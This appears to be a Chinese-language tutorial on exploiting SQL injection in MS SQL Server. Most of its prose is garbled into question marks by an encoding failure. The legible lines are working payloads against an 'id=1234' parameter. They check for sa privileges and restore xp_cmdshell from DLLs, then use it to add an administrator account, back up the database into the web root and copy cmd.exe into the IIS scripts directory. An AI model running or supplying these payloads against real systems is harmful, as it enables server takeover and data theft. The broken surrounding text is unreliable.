????????????????????????????????????????????????????????????????shell?????????????????????????????
????????????????????и??·???????????ɡ??????????????·?????????£?
?????ж?????sql????????sql???????ж???????????????mssqlserver????洢????xp_cmdshell ????????????????б??????????????????????????xp_cmdshell ?洢?????????????????
?????ж??????????????????????asp????仰?????????webshell?????????webshell??????shell??
?????????????sa?????????·???????
????????????·?????濪?????
?????????????·???
??????????ж?????sql??????????????????ù????????裬????????????webcruiser????????С?????????????????????????sql??????????????????????????????????????????????????????????????sql?????????????xp_cmdshell??
???????巽???????????
?????????????????
?????Id=1234;and (select count(*) from sysobjects)>0
?????????????????????????????????sa?????
?????id=1234;and user>0 (?????dbo ?????sa)??
?????id=1234;and db_name()>0?????????????????????????????????
??????xp_cmdshell??????á?
?????id=1234;and (select count(*) from master.dbo.sysobjects where  xtype=”X” and name =’xp_cmdshell’)
??????洢?????????????????
?????id=1234;and exec sp_addextendepro  xp_cmdshell??’xplog70.dll’
???????????????????????????·?????
????l ?????? DLL xpsql70.dll ???DLL ?????????DLL?????126 (???????????)??
??????????У?exec sp_dropextendeproc “xp_cmdshell” ????????sp_addextendeproc “xp_cmdshell”??”xpsql70.dll”
????l ??????xpweb70.dll ?????????xp_cmdshell ???127
??????????? exec sp_dropextendeproc “xp_cmdshell” ???????? exec sp_addextendeproc “xp_cmdshell”??”xpweb70.dll”
??????????洢?????????????????????
?????id=1234 ;exec master..xp_cmdshell “net user aaa bbb /add ”--  ????aaa????????bbb?????
??????????????飺
?????id=1234 ;exec master..xp_cmdshell “net  localgroup administrators aaa/add ”
?????????????????????
?????id=1234 ;exec backup database ??????? to disk =’C:inetpub/wwwrootsave.db’?????????????web????·????
????????????web????·?????????????????????unicode ???????????????????
?????id=1234;exec master..xp_cmdshell “copy c:windowssystem32cmd.exe  c:inetpubscriptscmd.exe”
??????????????????xp_cmdshell ???????????????е?????????????????????????